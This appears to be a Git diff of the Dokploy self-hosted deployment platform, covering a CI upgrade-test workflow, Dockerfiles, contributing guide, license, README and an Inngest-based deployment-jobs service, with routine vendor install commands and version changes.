echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT"
# Go HTTP server (traefik/whoami is a tiny Go binary, port 80)
APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest")
echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT"
echo "✅ All resources created"
# ── Pre-upgrade health check ───────────────────────────────────────────
- name: Wait for all services → 'done' (pre-upgrade)
env:
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
PG_ID: ${{ steps.create.outputs.pg_id }}
MG_ID: ${{ steps.create.outputs.mg_id }}
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
run: |
wait_done() {
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
echo "Waiting for $NAME to reach 'done'..."
timeout 360 bash -c "
until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \
--data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \
-b '$COOKIE' | \
jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \
= 'done' ]; do
sleep 5
done
"
echo "✅ $NAME is done"
}
wait_done postgres postgres.one postgresId "$PG_ID" applicationStatus
wait_done mongo mongo.one mongoId "$MG_ID" applicationStatus
wait_done static application.one applicationId "$APP_STATIC_ID" applicationStatus
wait_done node-app application.one applicationId "$APP_NODE_ID" applicationStatus
wait_done go-app application.one applicationId "$APP_GO_ID" applicationStatus
- name: Assert Docker Swarm services healthy (pre-upgrade)
run: |
echo "=== docker service ls ==="
docker service ls
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
grep -E '^ci-' | grep -v ' 1/1' || true)
if [ -n "$FAIL" ]; then
echo "❌ User services not healthy before upgrade:"
echo "$FAIL"
exit 1
fi
echo "✅ All user services healthy before upgrade"
# ── Upgrade ────────────────────────────────────────────────────────────
- name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }})
run: |
docker service update \
--image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \
--force \
"${{ env.DOKPLOY_SERVICE }}"
echo "Waiting for service to converge on ${{ matrix.pair.to }}..."
timeout 240 bash -c '
until ! docker service inspect dokploy \
--format "{{.UpdateStatus.State}}" 2>/dev/null \
| grep -q "^updating$"; do
sleep 4
done
until docker service ls --filter name=dokploy \
--format "{{.Name}} {{.Replicas}}" \
| grep "^dokploy " | grep -q " 1/1"; do
sleep 4
done
'
echo "✅ Service running on ${{ matrix.pair.to }}"
- name: Wait for Dokploy API to respond post-upgrade
run: |
timeout 180 bash -c '
until curl -sf -o /dev/null \
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
sleep 3
done
'
echo "✅ Dokploy API is up after upgrade"
# ── Post-upgrade health check ──────────────────────────────────────────
- name: Verify all services still healthy (post-upgrade)
env:
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
PG_ID: ${{ steps.create.outputs.pg_id }}
MG_ID: ${{ steps.create.outputs.mg_id }}
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
run: |
check_status() {
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \
--data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \
-b "$COOKIE" | \
jq -r ".result.data.json.$STATUS_KEY // \"unknown\"")
if [ "$STATUS" != "done" ]; then
echo "❌ $NAME status after upgrade: $STATUS"
return 1
fi
echo "✅ $NAME: $STATUS"
}
check_status postgres postgres.one postgresId "$PG_ID" applicationStatus
check_status mongo mongo.one mongoId "$MG_ID" applicationStatus
check_status static application.one applicationId "$APP_STATIC_ID" applicationStatus
check_status node-app application.one applicationId "$APP_NODE_ID" applicationStatus
check_status go-app application.one applicationId "$APP_GO_ID" applicationStatus
echo "=== docker service ls (post-upgrade) ==="
docker service ls
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
grep -E '^ci-' | grep -v ' 1/1' || true)
if [ -n "$FAIL" ]; then
echo "❌ User services not healthy after upgrade:"
echo "$FAIL"
exit 1
fi
echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}"
# ── Diagnostics on failure ─────────────────────────────────────────────
- name: Dump state on failure
if: failure()
run: |
echo "=== docker service ls ===" && docker service ls || true
echo "=== dokploy service tasks ===" && \
docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true
echo "=== dokploy logs (last 200) ===" && \
docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true
echo "=== install.sh tail ===" && \
tail -100 /tmp/install.sh 2>&1 || true
echo "=== signup response ===" && \
cat /tmp/signup.out 2>&1 || true
echo "=== disk usage ===" && df -h
# ── Job summary ────────────────────────────────────────────────────────
- name: Write job summary
if: always()
run: |
STATUS="${{ job.status }}"
ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
cat >> "$GITHUB_STEP_SUMMARY" <<EOF
## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
| Service | Image |
|---------|-------|
| ci-pg-db | postgres:15 |
| ci-mongo-db | mongo:7.0 |
| ci-static-app | nginx:alpine (static site) |
| ci-node-app | ealen/echo-server (Node.js hello-world) |
| ci-go-app | traefik/whoami (Go HTTP server) |
EOF
+1 -6
View File
@@ -13,8 +13,6 @@ node_modules
.env.test.local
.env.production.local
openapi.json
# Testing
coverage
@@ -43,7 +41,4 @@ yarn-error.log*
*.pem
.db
.playwright-*
.credentials
.db
+1 -1
View File
@@ -1 +1 @@
24.4.0
20.16.0
-3
View File
@@ -4,8 +4,5 @@
"editor.codeActionsOnSave": {
"source.fixAll.biome": "explicit",
"source.organizeImports.biome": "explicit"
},
"[typescript]": {
"editor.defaultFormatter": "biomejs.biome"
}
}
-2
View File
@@ -1,2 +0,0 @@
.env
.env.local
-6
View File
@@ -1,6 +0,0 @@
## Code style
- Don't write comments that restate what the code already says.
- Comment only the "why" when something isn't obvious: workarounds,
counterintuitive decisions, constraints from an external API.
- No section-divider comments like `// --- Helpers ---`.
- Don't leave comments describing the change you just made.
+7 -25
View File
@@ -2,7 +2,7 @@
Hey, thanks for your interest in contributing to Dokploy! We appreciate your help and taking your time to contribute.
Before you start, please first discuss the feature/bug you want to add with the owners and community via github issues.
Before you start, please first discuss the feature/bug you want to add with the owners and comunity via github issues.
We have a few guidelines to follow when contributing to this project:
@@ -11,7 +11,6 @@ We have a few guidelines to follow when contributing to this project:
- [Development](#development)
- [Build](#build)
- [Pull Request](#pull-request)
- [Important Considerations](#important-considerations-for-pull-requests)
## Commit Convention
@@ -53,7 +52,7 @@ feat: add new feature
Before you start, please make the clone based on the `canary` branch, since the `main` branch is the source of truth and should always reflect the latest stable release, also the PRs will be merged to the `canary` branch.
We use Node v24.4.0 and recommend this specific version. If you have nvm installed, you can run `nvm install 24.4.0 && nvm use` in the root directory.
We use Node v20.16.0 and recommend this specific version. If you have nvm installed, you can run `nvm install 20.16.0 && nvm use` in the root directory.
```bash
git clone https://github.com/dokploy/dokploy.git
@@ -99,14 +98,7 @@ pnpm run dokploy:build
## Docker
To build the docker image first run commands to copy .env files
```bash
cp apps/dokploy/.env.production.example .env.production
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
```
then run build command
To build the docker image
```bash
pnpm run docker:build
@@ -120,20 +112,12 @@ pnpm run docker:push
## Password Reset
In the case you lost your password, you can reset the owner's password using the following command
In the case you lost your password, you can reset it using the following command
```bash
pnpm --filter=dokploy run reset-password
pnpm run reset-password
```
To reset the password of a specific user instead, pass their email as an argument
```bash
pnpm --filter=dokploy run reset-password user@example.com
```
Both commands print the new randomly generated password to the console.
If you want to test the webhooks on development mode using localtunnel, make sure to install [`localtunnel`](https://localtunnel.app/)
```bash
@@ -164,7 +148,7 @@ curl -sSL https://railpack.com/install.sh | sh
```bash
# Install Buildpacks
curl -sSL "https://github.com/buildpacks/pack/releases/download/v0.39.1/pack-v0.39.1-linux.tgz" | tar -C /usr/local/bin/ --no-same-owner -xzv pack
curl -sSL "https://github.com/buildpacks/pack/releases/download/v0.35.0/pack-v0.35.0-linux.tgz" | tar -C /usr/local/bin/ --no-same-owner -xzv pack
```
## Pull Request
@@ -178,13 +162,11 @@ curl -sSL "https://github.com/buildpacks/pack/releases/download/v0.39.1/pack-v0.
- If your pull request fixes an open issue, please reference the issue in the pull request description.
- Once your pull request is merged, you will be automatically added as a contributor to the project.
### Important Considerations for Pull Requests
**Important Considerations for Pull Requests:**
- **Testing is Mandatory:** All Pull Requests **must be tested** by the PR author before submission. You must verify that your changes work as expected in a local development environment (see [Setup](#setup)). **Pull Requests that have not been tested by their creator will be rejected.** This policy keeps the PR history clean and values contributors who submit verified, working code. Untested PRs are often recognizable by disproportionately large or scattered changes for simple tasks—please test first.
- **Focus and Scope:** Each Pull Request should ideally address a single, well-defined problem or introduce one new feature. This greatly facilitates review and reduces the chances of introducing unintended side effects.
- **Avoid Unfocused Changes:** Please avoid submitting Pull Requests that contain only minor changes such as whitespace adjustments, IDE-generated formatting, or removal of unused variables, unless these are part of a larger, clearly defined refactor or a dedicated "cleanup" Pull Request that addresses a specific `good first issue` or maintenance task.
- **Issue Association:** For any significant change, it's highly recommended to open an issue first to discuss the proposed solution with the community and maintainers. This ensures alignment and avoids duplicated effort. If your PR resolves an existing issue, please link it in the description (e.g., `Fixes #123`, `Closes #456`).
- **Large Features:** Pull Requests that introduce very large or broad features **will not be accepted** unless the idea is first outlined and discussed in a GitHub issue. Large features should be designed together with the Dokploy team so the project stays coherent and moves in the same direction. Open an issue to propose and align on the design before implementing.
Thank you for your contribution!
+9 -17
View File
@@ -1,9 +1,9 @@
# syntax=docker/dockerfile:1
FROM node:24.4.0-slim AS base
FROM node:20.16.0-slim AS base
ENV PNPM_HOME="/pnpm"
ENV PATH="$PNPM_HOME:$PATH"
RUN corepack enable
RUN corepack prepare pnpm@10.22.0 --activate
RUN corepack prepare pnpm@9.12.0 --activate
FROM base AS build
COPY . /usr/src/app
@@ -20,7 +20,7 @@ ENV NODE_ENV=production
RUN pnpm --filter=@dokploy/server build
RUN pnpm --filter=./apps/dokploy run build
RUN pnpm --filter=./apps/dokploy --prod deploy --legacy /prod/dokploy
RUN pnpm --filter=./apps/dokploy --prod deploy /prod/dokploy
RUN cp -R /usr/src/app/apps/dokploy/.next /prod/dokploy/.next
RUN cp -R /usr/src/app/apps/dokploy/dist /prod/dokploy/dist
@@ -31,7 +31,7 @@ WORKDIR /app
# Set production
ENV NODE_ENV=production
RUN apt-get update && apt-get install -y tini curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
RUN apt-get update && apt-get install -y curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
# Copy only the necessary files
COPY --from=build /prod/dokploy/.next ./.next
@@ -46,31 +46,23 @@ COPY --from=build /prod/dokploy/node_modules ./node_modules
# Install docker
RUN curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh --version 28.5.2 && rm get-docker.sh && curl https://rclone.org/install.sh | bash
RUN curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh && rm get-docker.sh && curl https://rclone.org/install.sh | bash
# Install Nixpacks and tsx
# | VERBOSE=1 VERSION=1.21.0 bash
ARG NIXPACKS_VERSION=1.41.0
ARG NIXPACKS_VERSION=1.39.0
RUN curl -sSL https://nixpacks.com/install.sh -o install.sh \
&& chmod +x install.sh \
&& ./install.sh \
&& pnpm install -g tsx
# Install Railpack
ARG RAILPACK_VERSION=0.15.4
ARG RAILPACK_VERSION=0.2.2
RUN curl -sSL https://railpack.com/install.sh | bash
# Install buildpacks
COPY --from=buildpacksio/pack:0.39.1 /usr/local/bin/pack /usr/local/bin/pack
COPY --from=buildpacksio/pack:0.35.0 /usr/local/bin/pack /usr/local/bin/pack
EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
# tini reaps HEALTHCHECK child processes that Node (as PID 1) leaves defunct.
ENTRYPOINT ["/usr/bin/tini", "--"]
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
CMD [ "pnpm", "start" ]
+8 -8
View File
@@ -1,9 +1,9 @@
# syntax=docker/dockerfile:1
FROM node:24.4.0-slim AS base
FROM node:20.16.0-slim AS base
ENV PNPM_HOME="/pnpm"
ENV PATH="$PNPM_HOME:$PATH"
RUN corepack enable
RUN corepack prepare pnpm@10.22.0 --activate
RUN corepack prepare pnpm@9.12.0 --activate
FROM base AS build
COPY . /usr/src/app
@@ -16,11 +16,11 @@ RUN --mount=type=cache,id=pnpm,target=/pnpm/store pnpm --filter=@dokploy/server
# Deploy only the dokploy app
# ARG NEXT_PUBLIC_UMAMI_HOST
# ENV NEXT_PUBLIC_UMAMI_HOST=$NEXT_PUBLIC_UMAMI_HOST
ARG NEXT_PUBLIC_UMAMI_HOST
ENV NEXT_PUBLIC_UMAMI_HOST=$NEXT_PUBLIC_UMAMI_HOST
# ARG NEXT_PUBLIC_UMAMI_WEBSITE_ID
# ENV NEXT_PUBLIC_UMAMI_WEBSITE_ID=$NEXT_PUBLIC_UMAMI_WEBSITE_ID
ARG NEXT_PUBLIC_UMAMI_WEBSITE_ID
ENV NEXT_PUBLIC_UMAMI_WEBSITE_ID=$NEXT_PUBLIC_UMAMI_WEBSITE_ID
ARG NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY
ENV NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=$NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY
@@ -29,7 +29,7 @@ ENV NODE_ENV=production
RUN pnpm --filter=@dokploy/server build
RUN pnpm --filter=./apps/dokploy run build
RUN pnpm --filter=./apps/dokploy --prod deploy --legacy /prod/dokploy
RUN pnpm --filter=./apps/dokploy --prod deploy /prod/dokploy
RUN cp -R /usr/src/app/apps/dokploy/.next /prod/dokploy/.next
RUN cp -R /usr/src/app/apps/dokploy/dist /prod/dokploy/dist
@@ -60,4 +60,4 @@ RUN curl https://rclone.org/install.sh | bash
RUN pnpm install -g tsx
EXPOSE 3000
CMD [ "pnpm", "start" ]
CMD [ "pnpm", "start" ]
+4 -5
View File
@@ -1,9 +1,9 @@
# syntax=docker/dockerfile:1
FROM node:24.4.0-slim AS base
FROM node:20.16.0-slim AS base
ENV PNPM_HOME="/pnpm"
ENV PATH="$PNPM_HOME:$PATH"
RUN corepack enable
RUN corepack prepare pnpm@10.22.0 --activate
RUN corepack prepare pnpm@9.12.0 --activate
FROM base AS build
COPY . /usr/src/app
@@ -20,7 +20,7 @@ ENV NODE_ENV=production
RUN pnpm --filter=@dokploy/server build
RUN pnpm --filter=./apps/schedules run build
RUN pnpm --filter=./apps/schedules --prod deploy --legacy /prod/schedules
RUN pnpm --filter=./apps/schedules --prod deploy /prod/schedules
RUN cp -R /usr/src/app/apps/schedules/dist /prod/schedules/dist
@@ -35,5 +35,4 @@ COPY --from=build /prod/schedules/dist ./dist
COPY --from=build /prod/schedules/package.json ./package.json
COPY --from=build /prod/schedules/node_modules ./node_modules
ENV HOSTNAME=0.0.0.0
CMD ["pnpm", "start"]
CMD HOSTNAME=0.0.0.0 && pnpm start
+4 -5
View File
@@ -1,9 +1,9 @@
# syntax=docker/dockerfile:1
FROM node:24.4.0-slim AS base
FROM node:20.16.0-slim AS base
ENV PNPM_HOME="/pnpm"
ENV PATH="$PNPM_HOME:$PATH"
RUN corepack enable
RUN corepack prepare pnpm@10.22.0 --activate
RUN corepack prepare pnpm@9.12.0 --activate
FROM base AS build
COPY . /usr/src/app
@@ -20,7 +20,7 @@ ENV NODE_ENV=production
RUN pnpm --filter=@dokploy/server build
RUN pnpm --filter=./apps/api run build
RUN pnpm --filter=./apps/api --prod deploy --legacy /prod/api
RUN pnpm --filter=./apps/api --prod deploy /prod/api
RUN cp -R /usr/src/app/apps/api/dist /prod/api/dist
@@ -35,5 +35,4 @@ COPY --from=build /prod/api/dist ./dist
COPY --from=build /prod/api/package.json ./package.json
COPY --from=build /prod/api/node_modules ./node_modules
ENV HOSTNAME=0.0.0.0
CMD ["pnpm", "start"]
CMD HOSTNAME=0.0.0.0 && pnpm start
+11 -8
View File
@@ -1,13 +1,8 @@
Copyright 2026-present Dokploy Technology, Inc.
# License
Portions of this software are licensed as follows:
## Core License (Apache License 2.0)
* All content that resides under a "/proprietary" directory of this repository, if that directory exists, is licensed under the license defined in "LICENSE_PROPRIETARY".
* Content outside of the above mentioned directories or restrictions above is available under the "Apache License 2.0" license as defined below.
## Apache License 2.0
Copyright 2026-present Dokploy Technology, Inc.
Copyright 2025 Mauricio Siu.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -20,4 +15,12 @@ distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and limitations under the License.
## Additional Terms for Specific Features
The following additional terms apply to the multi-node support, Docker Compose file, Preview Deployments and Multi Server features of Dokploy. In the event of a conflict, these provisions shall take precedence over those in the Apache License:
- **Self-Hosted Version Free**: All features of Dokploy, including multi-node support, Docker Compose file support, Schedules, Preview Deployments and Multi Server, will always be free to use in the self-hosted version.
- **Restriction on Resale**: The multi-node support, Docker Compose file support, Schedules, Preview Deployments and Multi Server features cannot be sold or offered as a service by any party other than the copyright holder without prior written consent.
- **Modification Distribution**: Any modifications to the multi-node support, Docker Compose file support, Schedules, Preview Deployments and Multi Server features must be distributed freely and cannot be sold or offered as a service.
For further inquiries or permissions, please contact us directly.
-11
View File
@@ -1,11 +0,0 @@
The Dokploy Source Available license (DSAL) version 1.0
Copyright (c) 2026-present Dokploy Technology, Inc.
With regard to the Dokploy Software:This software and associated documentation files (the "Software") may only beused in production, if you (and any entity that you represent) have agreed to, and are in compliance with, a valid commercial agreement from Dokploy.Subject to the foregoing sentence, you are free to modify this Software and publish patches to the Software. You agree that Dokploy and/or its licensors (as applicable) retain all right, title and interest in and to all such modifications and/or patches, and all such modifications and/or patches may only be used, copied, modified, displayed, distributed, or otherwise exploited with a valid Dokploy Source Available License.  Notwithstanding the foregoing, you may copy and modify the Software for development and testing purposes, without requiring a subscription.  You agree that Dokploy and/or its licensors (as applicable) retain all right, title and interest in and to all such modifications.  You are not granted any other rights beyond what is expressly stated herein.  Subject to theforegoing, it is forbidden to copy, merge, publish, distribute, sublicense,and/or sell the Software.
This Dokploy Source Available license applies only to the part of this Software that is in a /proprietary folder. The full text of this License shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS ORIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THEAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHERLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THESOFTWARE.
For all third party components incorporated into the Dokploy Software, thosecomponents are licensed under the original license provided by the owner of the applicable component.
+75 -2
View File
@@ -12,14 +12,30 @@
<br />
<div align="center" markdown="1">
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://tuple.app/dokploy">
<img src=".github/sponsors/tuple.png" alt="Tuple's sponsorship image" width="400"/>
</a>
### [Tuple, the premier screen sharing app for developers](https://tuple.app/dokploy)
[Available for MacOS & Windows](https://tuple.app/dokploy)<br>
</div>
Dokploy is a free, self-hostable Platform as a Service (PaaS) that simplifies the deployment and management of applications and databases.
## ✨ Features
Dokploy includes multiple features to make your life easier.
- **Applications**: Deploy any type of application (Node.js, PHP, Python, Go, Ruby, etc.).
- **Databases**: Create and manage databases with support for MySQL, PostgreSQL, MongoDB, MariaDB, libsql, and Redis.
- **Databases**: Create and manage databases with support for MySQL, PostgreSQL, MongoDB, MariaDB, and Redis.
- **Backups**: Automate backups for databases to an external storage destination.
- **Docker Compose**: Native support for Docker Compose to manage complex applications.
- **Multi Node**: Scale applications to multiple nodes using Docker Swarm to manage the cluster.
@@ -39,14 +55,71 @@ To get started, run the following command on a VPS:
Want to skip the installation process? [Try the Dokploy Cloud](https://app.dokploy.com).
```bash
curl -sSL https://dokploy.com/install.sh | bash
curl -sSL https://dokploy.com/install.sh | sh
```
For detailed documentation, visit [docs.dokploy.com](https://docs.dokploy.com).
## ♥️ Sponsors
🙏 We're deeply grateful to all our sponsors who make Dokploy possible! Your support helps cover the costs of hosting, testing, and developing new features.
[Dokploy Open Collective](https://opencollective.com/dokploy)
[Github Sponsors](https://github.com/sponsors/Siumauricio)
<!-- Hero Sponsors 🎖 -->
<!-- Add Hero Sponsors here -->
### Hero Sponsors 🎖
<div>
<a href="https://www.hostinger.com/vps-hosting?ref=dokploy"><img src=".github/sponsors/hostinger.jpg" alt="Hostinger" width="300"/></a>
<a href="https://www.lxaer.com/?ref=dokploy"><img src=".github/sponsors/lxaer.png" alt="LX Aer" width="100"/></a>
</div>
<!-- Premium Supporters 🥇 -->
<!-- Add Premium Supporters here -->
### Premium Supporters 🥇
<div>
<a href="https://supafort.com/?ref=dokploy"><img src="https://supafort.com/build/q-4Ht4rBZR.webp" alt="Supafort.com" width="300"/></a>
<a href="https://agentdock.ai/?ref=dokploy"><img src=".github/sponsors/agentdock.png" alt="agentdock.ai" width="100"/></a>
</div>
<!-- Elite Contributors 🥈 -->
<!-- Add Elite Contributors here -->
### Elite Contributors 🥈
<div>
<a href="https://americancloud.com/?ref=dokploy"><img src=".github/sponsors/american-cloud.png" alt="AmericanCloud" width="300"/></a>
<a href="https://tolgee.io/?utm_source=github_dokploy&utm_medium=banner&utm_campaign=dokploy"><img src="https://dokploy.com/tolgee-logo.png" alt="Tolgee" width="100"/></a>
</div>
### Supporting Members 🥉
<div>
<a href="https://cloudblast.io/?ref=dokploy"><img src="https://cloudblast.io/img/logo-icon.193cf13e.svg" width="250px" alt="Cloudblast.io"/></a>
<a href="https://synexa.ai/?ref=dokploy"><img src=".github/sponsors/synexa.png" width="65px" alt="Synexa"/></a>
</div>
### Community Backers 🤝
#### Organizations:
[Sponsors on Open Collective](https://opencollective.com/dokploy)
#### Individuals:
[![Individual Contributors on Open Collective](https://opencollective.com/dokploy/individuals.svg?width=890)](https://opencollective.com/dokploy)
### Contributors 🤝
<a href="https://github.com/dokploy/dokploy/graphs/contributors">
+1 -10
View File
@@ -1,11 +1,2 @@
LEMON_SQUEEZY_API_KEY=""
LEMON_SQUEEZY_STORE_ID=""
# Inngest (for GET /jobs - list deployment queue). Self-hosted example:
# INNGEST_BASE_URL="http://localhost:8288"
# Production: INNGEST_BASE_URL="https://dev-inngest.dokploy.com"
# INNGEST_SIGNING_KEY="your-signing-key"
# Optional: only events after this RFC3339 timestamp. If unset, no date filter is applied.
# INNGEST_EVENTS_RECEIVED_AFTER="2024-01-01T00:00:00Z"
# Max events to fetch when listing jobs (paginates with cursor). Default 100, max 10000.
# INNGEST_JOBS_MAX_EVENTS=100
LEMON_SQUEEZY_STORE_ID=""
-10
View File
@@ -6,13 +6,3 @@ npm run dev
```
open http://localhost:3000
```
## Inngest
This service uses Inngest to queue deployments. Run the local dev server in a separate terminal:
```
npm run dev:inngest
```
It syncs with the app at `http://localhost:4000/api/inngest` and serves its dashboard at `http://localhost:8288`.
+15 -16
View File
@@ -4,8 +4,7 @@
"type": "module",
"scripts": {
"dev": "PORT=4000 tsx watch src/index.ts",
"dev:inngest": "npx --yes inngest-cli@1.9.0 dev -u http://localhost:4000/api/inngest --no-discovery",
"build": "rimraf dist && tsc --project tsconfig.json",
"build": "tsc --project tsconfig.json",
"start": "node dist/index.js",
"typecheck": "tsc --noEmit"
},
@@ -13,27 +12,27 @@
"inngest": "3.40.1",
"@dokploy/server": "workspace:*",
"@hono/node-server": "^1.14.3",
"@hono/zod-validator": "0.7.6",
"@hono/zod-validator": "0.3.0",
"@nerimity/mimiqueue": "1.2.3",
"dotenv": "^16.4.5",
"hono": "^4.11.7",
"hono": "^4.7.10",
"pino": "9.4.0",
"pino-pretty": "11.2.2",
"react": "19.2.7",
"react-dom": "19.2.7",
"react": "18.2.0",
"react-dom": "18.2.0",
"redis": "4.7.0",
"zod": "^4.3.6"
"zod": "^3.25.32"
},
"devDependencies": {
"@types/node": "^24.4.0",
"@types/react": "^19.2.0",
"@types/react-dom": "^19.2.0",
"rimraf": "6.1.3",
"tsx": "^4.22.4",
"typescript": "^7.0.2"
"@types/node": "^20.17.51",
"@types/react": "^18.2.37",
"@types/react-dom": "^18.2.15",
"tsx": "^4.16.2",
"typescript": "^5.8.3"
},
"packageManager": "pnpm@10.22.0",
"packageManager": "pnpm@9.12.0",
"engines": {
"node": "^24.4.0",
"pnpm": ">=10.22.0"
"node": "^20.16.0",
"pnpm": ">=9.12.0"
}
}
+1 -24
View File
@@ -10,7 +10,6 @@ import {
type DeployJob,
deployJobSchema,
} from "./schema.js";
import { fetchDeploymentJobs } from "./service.js";
import { deploy } from "./utils.js";
const app = new Hono();
@@ -119,6 +118,7 @@ app.post("/deploy", zValidator("json", deployJobSchema), async (c) => {
200,
);
} catch (error) {
console.log("error", error);
logger.error("Failed to send deployment event", error);
return c.json(
{
@@ -176,29 +176,6 @@ app.get("/health", async (c) => {
return c.json({ status: "ok" });
});
// List deployment jobs (Inngest runs) for a server - same shape as BullMQ queue for the UI
app.get("/jobs", async (c) => {
const serverId = c.req.query("serverId");
if (!serverId) {
return c.json({ message: "serverId is required" }, 400);
}
try {
const rows = await fetchDeploymentJobs(serverId);
return c.json(rows);
} catch (error) {
const message = error instanceof Error ? error.message : String(error);
if (message.includes("INNGEST_BASE_URL")) {
return c.json(
{ message: "INNGEST_BASE_URL is required to list deployment jobs" },
503,
);
}
logger.error("Failed to fetch jobs from Inngest", { serverId, error });
return c.json([], 200);
}
});
// Serve Inngest functions endpoint
app.on(
["GET", "POST", "PUT"],
+1 -1
View File
@@ -25,7 +25,7 @@ export const deployJobSchema = z.discriminatedUnion("applicationType", [
titleLog: z.string().optional(),
descriptionLog: z.string().optional(),
server: z.boolean().optional(),
type: z.enum(["deploy", "redeploy"]),
type: z.enum(["deploy"]),
applicationType: z.literal("application-preview"),
serverId: z.string().min(1),
}),
-239
View File
@@ -1,239 +0,0 @@
import { logger } from "./logger.js";
const baseUrl = process.env.INNGEST_BASE_URL ?? "";
const signingKey = process.env.INNGEST_SIGNING_KEY ?? "";
const DEFAULT_MAX_EVENTS = 500;
const MAX_EVENTS = DEFAULT_MAX_EVENTS;
/** Event shape from GET /v1/events (https://api.inngest.com/v1/events) */
type InngestEventRow = {
internal_id?: string;
accountID?: string;
environmentID?: string;
source?: string;
sourceID?: string | null;
/** RFC3339 timestamp – API uses receivedAt, dev server may use received_at */
receivedAt?: string;
received_at?: string;
id: string;
name: string;
data: Record<string, unknown>;
user?: unknown;
ts: number;
v?: string | null;
metadata?: {
fetchedAt: string;
cachedUntil: string | null;
};
};
/** Run shape from GET /v1/events/{eventId}/runs – the actual job execution */
type InngestRun = {
run_id: string;
event_id: string;
status: string; // "Running" | "Completed" | "Failed" | "Cancelled" | "Queued"?
run_started_at?: string;
ended_at?: string | null;
output?: unknown;
// dev server / API may use different casing
run_started_at_ms?: number;
};
function getEventReceivedAt(ev: InngestEventRow): string | undefined {
return ev.receivedAt ?? ev.received_at;
}
/** Map Inngest run status to BullMQ-style state for the UI */
function runStatusToState(
status: string,
): "pending" | "active" | "completed" | "failed" | "cancelled" {
const s = status.toLowerCase();
if (s === "running") return "active";
if (s === "completed") return "completed";
if (s === "failed") return "failed";
if (s === "cancelled") return "cancelled";
if (s === "queued") return "pending";
return "pending";
}
export const fetchInngestEvents = async () => {
const maxEvents = MAX_EVENTS;
const all: InngestEventRow[] = [];
let cursor: string | undefined;
do {
const params = new URLSearchParams({ limit: "100" });
if (cursor) {
params.set("cursor", cursor);
}
const res = await fetch(`${baseUrl}/v1/events?${params}`, {
headers: {
Authorization: `Bearer ${signingKey}`,
"Content-Type": "application/json",
},
});
if (!res.ok) {
logger.warn("Inngest API error", {
status: res.status,
body: await res.text(),
});
break;
}
const body = (await res.json()) as {
data?: InngestEventRow[];
cursor?: string;
nextCursor?: string;
};
const data = Array.isArray(body.data) ? body.data : [];
all.push(...data);
// Next page: API may return cursor/nextCursor, or use last event's internal_id (per API docs)
const nextCursor =
body.cursor ?? body.nextCursor ?? data[data.length - 1]?.internal_id;
const hasMore = data.length === 100 && nextCursor && all.length < maxEvents;
cursor = hasMore ? nextCursor : undefined;
} while (cursor);
return all.slice(0, maxEvents);
};
/** Fetch runs for a single event (GET /v1/events/{eventId}/runs) – runs are the actual jobs */
export const fetchInngestRunsForEvent = async (
eventId: string,
): Promise<InngestRun[]> => {
const res = await fetch(
`${baseUrl}/v1/events/${encodeURIComponent(eventId)}/runs`,
{
headers: {
Authorization: `Bearer ${signingKey}`,
"Content-Type": "application/json",
},
},
);
